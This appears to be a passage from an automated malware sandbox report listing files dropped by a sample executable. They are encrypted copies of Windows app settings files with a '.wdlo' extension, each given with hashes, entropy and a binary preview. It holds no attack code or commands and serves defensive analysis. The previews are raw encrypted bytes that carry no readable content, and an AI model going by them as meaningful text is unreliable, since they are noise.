Preview:	regf...R..Y.wz......$g.#7...[.j5Dxs.6....\;.^"%...>"#.....45r6....-/>.........,...]..\.=.K.w...~.n..b.....s...1.XB[Kf.\|bs..&..r..5.N.....lS..........r..lD.x.Zo..\|Y...A..S.==.r...p..pH..(.....)E.c.S..2_(<<.o...6.d..]M..6.X.Q...9'i....H.U.Jz%..............2..%>E._5..o.._...<...s....X.e....9{:%Z.r..{....u....i.....w....M0{.>R....v.I].....&.~rM".U8k..?..R-]...x/l....)E-k.3<X1pH.A.J....}..............j...Uw......4k....pw...[...a\.{........x...Bq....;........U.^r.C?.M.\|2.."y.3.$[.Rv..3....z.G^....}T.y-..c...I..i...:..<.\|.......~Y..=...V#..P.a....O.(c....[.T6.p..3...v......].2..=...s....\.g.'..J.+D....i.t......@.u?....d..WL..4j....T..qP..qQ.?y!..g]....y.AX6..m.B...R..hDi.hC.......E]...F#GlbP..{.6..?...Wh....T;*.kxj...`]..6...........O.f.. -..}.y..<..y.......%.^]...N..A........\...`..n......DV@.\...b..0.b..Q...K.=C.......`\...V...S.n..q.....+wn.g.W0...F;.....5...;.C...[...J....5\|..!t...[..Y.w....-.(.#.!.vn......ZvAi(+.uH....Ed-.....a.W

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97834147644322
Encrypted:	false
SSDEEP:	192:82JdGj+aVMBW3gJ+Tid7WSu6jfCKc1RLB0fQ49CEnPGrMzJFYFgGP:1Ajp0DJD7HuwCdef9Dzw
MD5:	0BF4860DDBBFDFEFABD2DA725FEEACE1
SHA1:	C5E0FB540AFE12A6999A4B80F1E10DA77D0D255A
SHA-256:	587030F45779C0F7C36DCE75A8BCC6FB09AE73700410DFFB681AC2E4AF481870
SHA-512:	85D236C1F15F4A53AFF3F3C29738514AE6B8E27BEB7C439E8777404591F59CF21B0B56CB8DA1185D5811D35E725478DE29E140A1BCB1640385EE2AB851B732D9
Malicious:	false
Preview:	regf...Q..A.C).....fXT...2HZ.I'.."]#.q..#.~.....;.-rq./.v.^.7..1Y.\>.9h..w.}..:.,.n..x.%.fGr>....&3(.{JY.!..5.#..Jl..yQ..?......$.J.t.=(:AOUun.a...q.S&..T.JE.9..[dG..k/._.....o7]....@.e.u..6....8...v>......o....H..(/......(.\|.T%....?.<U.~.......F..F.8AoLa".D..6..=....Cn....7y"..M.+...Fs.5,N..{%...5..1.c...3..6.g......fF.R....!I.v.Bu.S).....CS.4.-.Mh.v..Ga...T.x........a.@......[G.p...U.e.......l..i....W . .......o<..,..].U.HC.P......s..\5.\|.j.(Z.3..2.M..Ex..\|.4...w.I.g.......v...Jn....../.y.T.t.Ku...h............./.y...J.z.aTi[.geo..z..Eyz.....}6.....{zL....A..E....a..K..;k4k\|..B.m....8... ....C.o..OYqy.#..Vc..@.O..a=(.....lc.'.m.+...}E.h..$..r.`.#. .}.....h...!S......3..?!..OC....0.h.o.<.h.......&...D.z.P.HX.6iV..U....vv.3.Nu....1.....)@;..~&...Y.A...5..7t....29z.....(}..G...S.B..d..L.O%U...y.w..V.&...c.L..ZUU.....q.&...ws..._.c.~K...z.W...XM..IR....!.....a..AH.r..Q..gb>..F.n`..T....C:1...O........:..w.`...$th....Z..*.{.we.T...

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9769284776270295
Encrypted:	false
SSDEEP:	192:18eJ4d9NV42miH03o8Cw3j3uz7t1s7Wnwml0RCaUKMlBnYp:1FJ4TNV42XH0Y8CUjuz7t1Bwq01GM
MD5:	23067F626F6DE78E49874A83404B134D
SHA1:	C9F6B1CB137D023F178D2F807D6C0D45B3F57D9F
SHA-256:	85AEB77ED49A7F76F87D384972FFE1D463F1B0574A26221412C904FDE075EA87
SHA-512:	57A5D02359ED220642BE54A537295F63B41C93F3B13FB02A6F0EB975340C0224E992952F75CB4B94AD2FBC853F155EACA4B1BACC2481665A84110C773A80BB01
Malicious:	false
Preview:	regf...k.Z.U..i.(....}.8....gz.X..f..h.t.e...l.V.../v.&.....yE...k....A.u.y...f....LJ#X..eq.W.`.Y.>....?Aq..E..s..D.....\...-./=>..O.W..r....6.T,..G.+.Z:.kl..%..KB#...I.....R..f....!q...fp.`NVT...K.f...E7T1..;.O..o....,...F.S..X..f.2..s.J.....s..d.&.'.,RM.$Z..(..g.B..{..P....1.`..MX.uv<...e.Q.A..7....HAxet.....e..].&.....tb../Z.w..L4.x...1jT...C...\.r.g..).r.l<X.y...5.;e..X&..!...f.oU%v.`..dy`.+...K.......T.."..?...N..&.30..93_...iJ.;#..X......R.p.$..!....&.RO....m.<,Zp8..(..9..~..U.mi.L..Z...6!.6..2..l?c....j$>L.f..,.jC...}YWv.e.>....8...M.~..H!..`...C...f...[\|.m..M.W?... f3.E...Z....u.<.:h....K\.{.D.Ujn;..=...y......\$U...I.3..\...T...U....#...T...u...3.Nj.....TM!...(.6G....l..OQ....0....0.....Q..[..%......_..7.^n.:.C.C......=..4A..7....uT...'.o....x.{...........a.6&L..t..FLxvj..b..B.k&....)J.x....0}...... .2.../.-...+....E.....J..3...K...X..b.....#..!13(_<.n......5.R.v..B...f...3Y`.72..F....]"1II2.D4.{0>.....Ea..h]..@.l......6C

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	107523
Entropy (8bit):	7.998298829626052
Encrypted:	true
SSDEEP:	3072:JYvXav0FERrCH8DXoAVnJ8v2IOQ0dQIblkAdjJAC:JYkuLH8DXoAVJSvmb7VAC
MD5:	20C9E775B03A97BD4C8C51D20DE20D77
SHA1:	6C2E7B844FA406225750FA0E85CECFE96029A6BA
SHA-256:	241219E226672059AA0DD500A2D0D6BA0D4D65BB4D978C9C9A3FB9B4D913B8CE
SHA-512:	A9A2FE144BE3AD35BB8767F786A6EBD3F5CAEB3D6D8D8205C152D6B62A7C636F80C17B747574E675F139161DFD1102251D3914A8A4C1DA2E413D38FC8E62F819
Malicious:	true
Preview:	<!doc...z.. ...T%G..H.T.....\b...Q.!\.pz...z.cp..@?.6....3.a....j.y.k....'.....c.#0.Jm..4.jAt3 .....f.v.i..4..".J..%.F>.\T.(....j.Me.o....PI.a..6...S....+.6....%?.+..Q....QQ..I..D.I.....o-.M.!.P0b..[S%...j.;.`.9_..hE6.Z...<.qUPy..v.V...~..f.#n..xA....\|.d9.#..tA...()X.K9J.@.z.4.l......3f...G....W.A....h..h.u....'~.b3TV.^.=P.q<i=.....:Xb..v.%.....Nt.a..HN.'.....1.+..U[...<..M.&....,v.u.....%...............u....si.... _.R..1O..bY.z..p...3.Te}.JR..^LM..$.\|pj.rP.Y...\..f..uq../.....y..s..d..V.s...'......W.+....{...@...F.......^jO.F........D..!.....8.. k..8..yr.cK.\|..3.Z..:.fa..6d^...9..I......e.e0.....5.....:...X.\|,Yo.L...X.~#..j.y.:.@....va....../.K.k.Cx.:.t!........L..#.=`.......!.;.....#.f..}...zzyH.".T.6G/.v...0..6...d..>Y....l2.M....&u.]t..(..4.s)c....$3.;I+....,....'..B'.y....rr$.D...I.q..b....)$o..@.w.7p0.V..K.%q..S.ZBq.NC.....o..G.vnw1.'.t*....4M....~.\..<@6.P...;%A;...^...j.l....v.+}.:..~...k..E..{.-j..D..Q(.."`..

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977009721892205
Encrypted:	false
SSDEEP:	192:aY5kl+38NRyHdRltLSpE+7smgmlKh1XWovMtAspxPo2WvvpFzSmNWvwF:aY5kl+MfyHd9LSu+7ymbgwlgTvzJv
MD5:	37C419ABC20C3CF0B74EA0B29D126DF8
SHA1:	5FB40AD1CE60F492ED3E1FB9738073BDC5D8A651
SHA-256:	089632FE64F937973E96C5A551C99922F235C609A066AE6FD44C5589D468CAC6
SHA-512:	BA2776A1ABD680037B13A5C6EF46FEF0835C3F9B58D5F2FA9106C551741553DA07798A1D576F6D0D3AF98CABC8ACD209D602EED8A63606B003E62C2F03F9C8D2
Malicious:	false
Preview:	regf...............x.#]..9.;.P.....Ppl...A.Q...5_c......W...<$............ZRo...E..........~o.X<.-L......".{.......g......#!.S,.....Ukf^.7....6..^.4.rF...........%....e.q.%.a.rhWF...5N...\.+...].Np.....@q.C2.a....s./.E...yn.x.L.n...R.+..P...o'.i.d+tp......F.o...n.;.f..wftd....D. d.qw._%\|....;^p.x[..y...";.HC.@l=/-.....G..oB."...4<(l.@[c..:.HZzk...;<.2_.5?.....@...8.~...$c...[MZ.hB\..:\|P......B....2.F.n......D...Z.F..t:...E........<..Q..,.2'.. .D.W....c2......B......1.m..wF;k..?f.p..{U...I.gc/.[9...<pf.5j.c:..../P.7_."g.........f.6..Z..W>oN......zpH..b.D.....5..%.(D^........R.L..XI...BY.>...?Q.\=...ibb...A..1$._..9...=a.QPJX[..v..f..........Wn.rl.....h......C....s....]..jH.H..h..S.....M+....1`..r40pZ.......'..k}./....2....\|../..Y..M...u..y.W.c../m.B.37....v...01Y.F.....3...G...........V..6...+.?.~...+.q...Ef....Z.../.V;.!.......AY,....n.......i.l...Q.s.>...}...g.....0.e..\|.'1/.8.!.e5um...F.....sDj...k.....O\.IB*("kA.%1..t/....,

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979344868883936
Encrypted:	false
SSDEEP:	192:j7NVQOZ9xKeGCL76hFCtuRelBQO8Hhdbz4n0TyiMq:jgObChwtyoGOYA6Kq
MD5:	0B1B43CACE1F2536C61169C9C6760731
SHA1:	8C4DD4B40565D142A28F3DEB305A7B0A7597BB2E
SHA-256:	7D5876E9DD62B7FFBBE28F8BE04E194D59DFDB0C6B351EB65FEB525B21F25931
SHA-512:	78347DFFA334A1C96E6866A043B39C2A2F8F1A93E777F41E59495E69CD43B57E1DF2A1D444C3162F5E3F00AA2B3ACB6E831E679EAF63AB7CFE328372CBADB83A
Malicious:	false
Preview:	regf...o...7).M........7..@..N..j.Uf....M.........P+.aT[..#...3`g..P....Qe..Q.... .5...[4L.)3^.B..=.+.;..V.....,p.A...q.....Yo..X......J..c.5D~.?]...........:.. U4u..(.!J[......._..X~o.0h.........Sil0.4.x...(.$>.c..>...3..v%...L...\Hh..C.&...S?&..A..!.R.'..Ll....H &../....s...zWt........\|.....9....s4.(z..Dh.n...?#.m6<..I,:.Q.=o..O.t"...D..vd>P.Lmj.P.c...W.-.x)%......W.k...xk..{x .......@.O...M....Y...=._....!R6..M.\|..:..~o.?r.M..C.\.>_7..... ..+.f.^..$......^.I....9..Q4.[.........]....h.6..yl..l.!.`.....8...sH.l.t..2.+G..'Y.<d........MVf.~...rG..&.+-....p.?.3.... ..O...m.L.A..Nt=......5~r +}.......(.....4'...c.....~0M?K.i..V..9Ll4.O.2........E.alh...M. ..0....v.3.9na..'..GV...A..5.8..8....a__.W...w..'\|......4..~Ey.;......~....5.B.....+hR....SX..g8.3....;.gb...y,.e+..d..O...0..`1...P..\|.`h.........=.9. e.%..O..xw.R...]....un.})Y..x.a*e.%....bi....M...........;;.D..8....~I..E.....A...(.ls.l.!....i^K..L....~...-e.:w.A)...D...=..#..M.P..3Q(....<.

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980348938066576
Encrypted:	false
SSDEEP:	192:0SWaScPzzy3+Fsp+mSY4dd5pvWi/nHMWmRF:ACGbp+mSv5vfvA
MD5:	8F7F3D6381CC1E8A55B7D519859F64F3
SHA1:	1DFA1AEA969FB9A08964CB796EDFC36C4FBAAF93
SHA-256:	5C2AA41A6010C981A02AD2180988E27C7EE5CB129631B8A19788F7D6EEBBF959
SHA-512:	AE328575C417C5E0B7B2B9092D13AEAB32F9982D49954468EEAFA72DAEFD5EB9CBF98012B2AD9E58B6A86AC1BC46D5A4B86E559E23230773D84F9CFFAB93DFD8
Malicious:	false
Preview:	regf.T........R...[..u.........;....-.N.6"8.Pv..!X&..1...Kz.de...GS.]r'...c.]7x.T$....vg..)....{.M...=.45...u<..6...^p...$..83.z ..P.'..<..\|.4.!........j.kY.. k.k.F,._..;.}..E.L..%.e<..I%..dr..j..y..].k..X..?......$lu.._...f......rm.V...T....E3Z...0L5...lQ....."..^...1.].VD. P.-..wmd.8..M.....k+..[...!..m.........#....n.].H.....q8.:..j;......U.....!.=.Qx.hu..$(..k.A.^T......-..)'o./.=...^Z..hD.k.jf._#..... Bj..T.K.....D...m:.XDP{4f..{...,.y.......L..VZ.\|t..'Y..s......'......E...1.6...yz..2..>#1U......).OJ=i.~~@/.d,.7..r... }.....&.......Vf(.u7.%..L...Mf!%8..N.....9.(o...;.q./.B...".\.^...[.H\|........eg..y.............hk..r..'...\|S.;.LPH...Yi%j.n..vU.$.+.?/..nu#...2....\|.`.9S..j.^BO..i.K.....&.."B.7.$..7....Sf....t..~.....h.......yt..&.@S.F..>.]........>.}4....T..z.......~....6G~....#..!4.Sa=4..I..@.U.....de.DP._....&.q.K.........gz...6.D.r0jM.=2.MwKy!A.zn.kq>.x3.O.`......g.d.....7.x(.....pq.XR.$...n@.....ED>..g....U.HbWA.8....0/....

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976427033873384
Encrypted:	false
SSDEEP:	192:q7eN8XNGE4X8ZCjMRCwdJ0ZXCQZvP3++e9wGGdLmiJ:4eNzMZVRTQxP3XkLoLJ
MD5:	3EF8056AE847BF806A74E064374A601B
SHA1:	764C0311936AF10CAAD274C5C4920CE0934E3E1B
SHA-256:	6A7A6A065C4E5CA02A5B94A05FD21DD0C6F4C80BFA5673BC99BD1FEFDE54D2BD
SHA-512:	A11AE7ECC4EDA31B00DB5064A323CF9F39741B2160749F7603EB866A4C1B0422606560BE088CA641DA8A7EA3A091066340E80393EC90364B57979E7614606773
Malicious:	false
Preview:	regf...E.W ..Hu..Q.4..... .G... .Bu..g.....K..+6.uRMXQbr..A!.I#W.o.......@.`h7.E.W....E.....&=.49..6...y......Sx..AE.3......!Q..t....!.-.\|...lq.... ..N....B.........2..........?+}...6..Z. ]....,....'.....?om.i.n.c...?..u....@.Y.{.K.^.%.......s.......#%...V.9........c.....$pi...h`.....,.....E.%?k.\.~..+.C...J".....$..F..dH4.:R..^..D.iV.J7pB.....B.8\..^+;.f..e..C...E.8.0....?.:m..[...S..o...x$.../h.$q...AM....A....R.i@p...a.)..J...oi)-[w^$<.6.;...nk...^\{..T%.U..W...a.,..G.x".!.\./&...^r..]..u..N...E4mlo.-..#.U0...F,H4.~.m..8.a.Z.lvM.qT..K.1M...j......\...>.).'...P.=....c.........2.H<m.z.W.Dl.b..@.%0..6.t^..#..?Pp.....p...u.3...c..r.a.k`..$C...../....q.....[.{..=&...C.\|.[..6..[..[Xg.H....Y..H..<.Y..!1]+..F.k3./..Y...b.772..\.....E..A.....\|.V...^-.......t.@.".vr.'.4...h.J.1?....9.J...\|..O-..)..........;....).....R.8F.....*.5.XV.ajB...k........;>.....F.S.q7...&.w.x.....R.FP..R.o[....H.....vF8A.7S.AI...?.....P..jw....n.c7U..b.../"....

C:\Users\user\Local Settings\Packages\Microsoft.MixedReality.Portal_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979230210559987
Encrypted:	false
SSDEEP:	96:/m3eqtjqzO6I02WcHAritEQYBEMs1lzjGvypp+UF/hVHBvyIb61sgYGfGjEscuii:/m39xuyCjZNSGKRZhfsXfGjEaiVHYuLG
MD5:	CDE311B68500501B15AC9949DEF14B56
SHA1:	29018B80B995DD42AB4E26353322E01770EB130F
SHA-256:	D4BB680484A6D908DA7B06AB2F36869D81637CA5591F876FF04223CFA3810C95
SHA-512:	D39C223F33CC7B594BDD6ECA0357330DA1A20E509FDD99EB1335186B5E86EEAD803B813DC94A871292EDBC8B76083282EE81ECCAA42E127033BC17310CA76E97
Malicious:	false
Preview:	regf..=g..+..[..O.4x.......dL/.Y/...3X.7..#9.r.pv..\|..Q...b....>^.`E..?...f9....s.>..%..TA..6.E.r4m..~....G..`.i%..d......g.c.H.O.r2~.&^."..K....}<...VBH:..?z0.mH....O..?..Q...]Q! ./.@..$=.+......~9.`3s.........ju.>.LyP.../h..........sfP..j.6.".....!z?.K....}-.....o..6.._.:.]....>.?ZE0l.sm...._.X!....u>d...Wp....\..un..P.5.s...N.b..r.....R.$.:y....2...pI5&%........3..\|......R..Q(...V.i,.V.t...,6..2.....1. ....C^..........<..........3.x..j.......!..~.?:..).6....(d.X?.}>.Z.q...:z;i.fP<.........+....).Dc..A.K.3.].8...c-...w.5H.?.M.7.Y.2.K.w/K.`.....(..\f.......A...K..?..<...U...~\|p........\|..e(......B......9...4....%^.a~.7L(Z.Y...Z...t^.....uCc....X...z...>\....x.....7.h.........80T...........W....[.1.tDdZG...Wi=..e.;.[.....5.^}.r.K@....'.!L.x.....T..#...u..'.q.c@h..P..P. .........m..w...u...j^.4!.BI...c...q!..><v../DW...{fatp#Z.'..*..}.......aX...i.;Wy..o...~^'W.3H9..zN.\.t4.}..n...ZL."2.!2?./.$..T.Y.. m..8]..7.f`_Ve6.B^.`x../p....

C:\Users\user\Local Settings\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978629528236608
Encrypted:	false
SSDEEP:	192:QlrHK9GDOPSpeDR+hQcWE99bqiXl9OkuTilNLI4qas3oQF0FJvh2H:ErAw2j49bq3kGiLTa37F5
MD5:	6F91CA0D73FCED819F962B510D1DEC10
SHA1:	E458852F0935B97C333D181E6A03BFF3B594AE4C
SHA-256:	CA503EF6BC281839BEF79C4DB6D06320C8ADA530E59FDB93798517ECEA490745
SHA-512:	C6C2E2635CEF4E5ADE533DF1185AC4CC0E9B217BE8ABD64A16D7A7A10223175793DDC9928B3FB6DFA76BA67D1B3B24BBBF74D392F645C2E94B0ECA66346D8DE5
Malicious:	false
Preview:	regf......\|R..C...,_&za..c.5..Ud?..4y...w../.. ....&...[....Z.$......{.....H.6!bS..........S..(....l..Zb.i=.^T..?%i....Qr#\|8.p..y$.'s.......H..t.......2.....R..MY.e80...s.n..O..Lt.8.j.y.N...M....O`..0......,$.......v...w.\b...M\B....]...&..g...Hn.dwfQ.T...n..<..I..g...)>......GS.8..K.g....`.... .P..}..[.9.....q..{.^.7.,..........v..0L.$.7..Pw.5.2......w..F-XKUl8......./m.-g.].Z\|...T7i.L..........j...._....S..V5O...z....Z.fr.\...f.4...........V.{...h@O;.:q\|b.L..YZ....I.I_.!...o)..v..y../..r./.[..(.....].S&^....."4.QDN..'U..-..+J#"..c....(oq.S....<TR...3`......c.(.f.%....a>5~.LW....@,F....8.1..=;.;I....`.+t.>.{.o..Sb%.p ...........}.3'u...2o...{7..5.zAF.C..+..e..7^G...h.S....L....[7...Rp..]F..Ft&(.!......8N<...D....*I..k.(...z~H......J. .K.&J:....p.1%..T......L....).!.U&....P8.S..b(...^.q..%..8.3..i..F......3&...8./...vG.k.\.6.4..B.WdnR33.=.i....qe...2\....'..K}."K~/...XU.....Jv....{...........a3Ir#e_....C...?......rg9..\|G ..9.u.g...N.W.-

C:\Users\user\Local Settings\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977613161176219
Encrypted:	false
SSDEEP:	192:Rw3WMtKjzIzYrmB4w4pzQ110Uzq1gMz0iqThHH:RwGTj8zYa+p011qgMztS5
MD5:	0DD719761E39DE6155D2BBC9D84C8129
SHA1:	F10887C4D1D7B261F1783160FFD90E69EAAA595D
SHA-256:	DEECD43C9BD721ABDE7398E54AFDB2C59C57A5FB361E2CA848C06CECC621493E
SHA-512:	92312EC359CC8403042DCC1593ECDF0F89734B4E4C40A8777CC9EF950FD4EF9863DD1D985E1F6F946DC85F98144E369B710FA4238847B6575DF0BC50874DA22C
Malicious:	false
Preview:	regf.!..K..m.f:.. .g.a..L..SC....x'6B.......D;.bM.3H.B~]....q.D..:M;.8..Wj..&6@.we."..G8....]F..B......i......b.c...#;=Q..P_t%...EK.e>.l.n.x.l.nNMo.........K..?TU..vN.:.+w...k..... .-.(."...Iz..T\'.nI..../.Zbwz.f..........h.F.6.i\QH...K...C.1A..L=xH.l.....N...F..\|.mE._.I.kDM.h.g.x.eLA..lY....%...23.#.Q...Arf...+.G.7......w.yNs]Vi.m....F,.b,...4-3W..J..e.......2zl.f.L\|..].A... ..P{G]..^E.Iiz..0.>..dM~j..A..p1b.o6.;.N..O.......vn3x.`...H....+%.r..m...n...B.. d....4.\|.n>...-......W........w..hR.).Fj...P.m.i.t.......Q...p.6.R..D.e...C.lA.n..V&JK.(....S6...2...>z[..7s.....gN...:....{~d}-&8>ib4g.<.......,K....M.m..2...T.r.k.R....r.......Nq$....[..................:J..5sj..la..)=..-.F.w..>4.-b...v/W._...+E.e....4....a.l.e6...>"/.8...\|..3)...e.Ry../VO!..9.B..}.[yBq....J.k.=Y\...E....^I.".+`. +..m......v8.i.....n+.f...^....Q.B...;...ps8i.R&g.'...ip..*...~.N..k..x....@....,..-..).\|.r.k`o.sX$.`.....X.".{`..U...E....._J...M...{..........:.qY...

C:\Users\user\Local Settings\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9778458674152555
Encrypted:	false
SSDEEP:	192:eyBeXZEsS8tA/t60Z/YvZUUgRxH99IsZaib790/KoqpdLXCA:1BeeKOAxgRlZaQ79doAv
MD5:	E355C0DFDA5C9022F1D862ECF7414086
SHA1:	A94D305FE97EB9B6A19C3355FD9E5FBFBC8A6787
SHA-256:	F7E3638964C607A2EB55BB17BC8DA55CF91B85C820EFA1C7A33B5823574AC10F
SHA-512:	FC08EDE07741A38033A67F4F0EBE8EC9B5287A625BA2D22FEA4BACA5021458DB63F7CC89227279183963370F2447A86FE57FA02FFABCED9F169409FD5C735D83
Malicious:	false
Preview:	regf.P.~VA...^...m(U..7.a.9....:..c.(...3.7.Yc.....G......E......d+.........................C..[.8[.......7..t..%rm. +..91..;.W<H..m..?......F.'H...{Or.Tg......A.......9.....;w.e..s....K.,....{.. ,...o%..:.......^....~pO..#.-...9\..nL..o......N2.'.R..X'.l.l.N.5....\|...S.VX.<....@.P?1G..k....R....;.d.pw..B..i..-s....^..]{.........H.{%p:....i.n^L......j.<./...1....S....V.....&...G.~ Q~.8p.._.\|..\..=....xQ...!....R...Fl..Z....2.....u9.'.+c.k.X.....J..)..n.b..{...z.5.0n\..1...l.Xd......f1.:.s}?~..Vj'C...[.$?.b..Rp..-[..<c...T5c.#;...Q+N&O.q.Td............w,.D....z..L1....}.i.Ti..g<.B...C............d..Et.@.......5."...\|Ie.\|e..dh..bI........oa.fX.c....}..%....~kxu.6Ouc+{....o&}.0C1X...mv2OBl......h...X..Y.../.r..p.t+...!`...l.l..d..=x.2^...}.. ].......I... .P...x@%}'r.gJe.%.`.\|Q...4...v.MQ.7/Ec;3.'...Peo3..1.w..9.h.;.\|P6......Fw#..).2;......Z...q~...\\|(...........2.....).....$nE....@+..l.&=^x.];J.O.A)..O..&.......L....3.<..]...u..A...t..

C:\Users\user\Local Settings\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980212948988115
Encrypted:	false
SSDEEP:	192:b2kfIEGBmaol7zQjsyD36dQFdlpNAIRuXnAUlvsRRmyC1i:bjwtBE8jsu3hlYIRuwUlv+IR8
MD5:	C8E4EA8588947FA3FE8091D635599AFF
SHA1:	347DEA842F4DD442D98D90ADF0193A251D2E540D
SHA-256:	0623CE19220C2C449C7607BBE6B4A69C07D22CA5DCD454CE06D32818B24D4525
SHA-512:	3D1523CE3A1EEE04D1CFC8C17429C6CF341E44265EBBC062377802E7B1B9F9E348032AF22AEC5D71DA911ADEA43447A49F80CAC601DAC714829C8832BD6BB0F7
Malicious:	false
Preview:	regf..%.iy..b...dw...1S..8.+lw...J.PY...S.Yk....e.>6.E....\.`s?].....U..-w.......9..FD..>...t.?..po./........L.>.u\|y..a..n.^......D.Ya..GKW.......E.9v..& ?.O.....>8.It..it.AXw..@9...Q.O.G[..Yl#W]P...6....qN...1..4....-......Jw.....Z..C...;cp.KC..L....BBh.L..0.c,F..a......s.X3$.....5....!..D..B.L.d=..u.r.......^gZ.c...o.@B........8[.<.`/W].hMA.....++...>...&......./.'.&70.5....y@.ao....8...oJ.)..0.z.O5=...~l.t.OY...U..........27~.l..?4.V...x%..2I...;1U4S.....s.(F.9%.....z@..~5.LG.si..2B..;\|...W...e.LT]y...v.G?..U.JUG.[.$+../..UdA..........5......J_.dY+R.;W.r..T..vd..f..wq3.t..0.,.l!.RG.t:.,.j\|....J.R.....:l......`HL..c..`3.".......\&95m......}....r.sn...OI.h...N.T~rrM......n.K2.e.....k...{S....... .[.....:.6!.z......-Y..Tkv.......(.....hg..lc.a....N..jt......._Ig..\|\kP.....LV.=.....%.C.S'.m.e.N.^..%@>..IS....d\Mg.....#J.8. .m..j+c.jR..,.\.P..{.5......KQ...Kpi....?.y..Rg.8..-......@..S{..(-.W8.m........SK......,....}...:v..9.06...

C:\Users\user\Local Settings\Packages\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97583867163331
Encrypted:	false
SSDEEP:	192:fVUQeqBd95gGhEirys0DuY7NI6FOZNhwoiMGJ6iDhv2sp60FGkrz0noly2jrK:fZe6gQ/ryjuYbFPhJ6iDc2gjoNrK
MD5:	5374B42152A24686458A045D5A658835
SHA1:	0A2DAE5E5049D3CF773736657F6D9409A8AB7183
SHA-256:	2662A79A707E0258806DF1C0A5A5262AB726E3B80EFE722CBC4C4A00F1CF774C
SHA-512:	B6A4F78E931750953D4159DB526082351DAD5976A94F7E3A6D0CE180F011B730C387FAC722E3DCA581934DBD390FEBA543157D2070A333F1C007D8CA6EF7CC3A
Malicious:	false
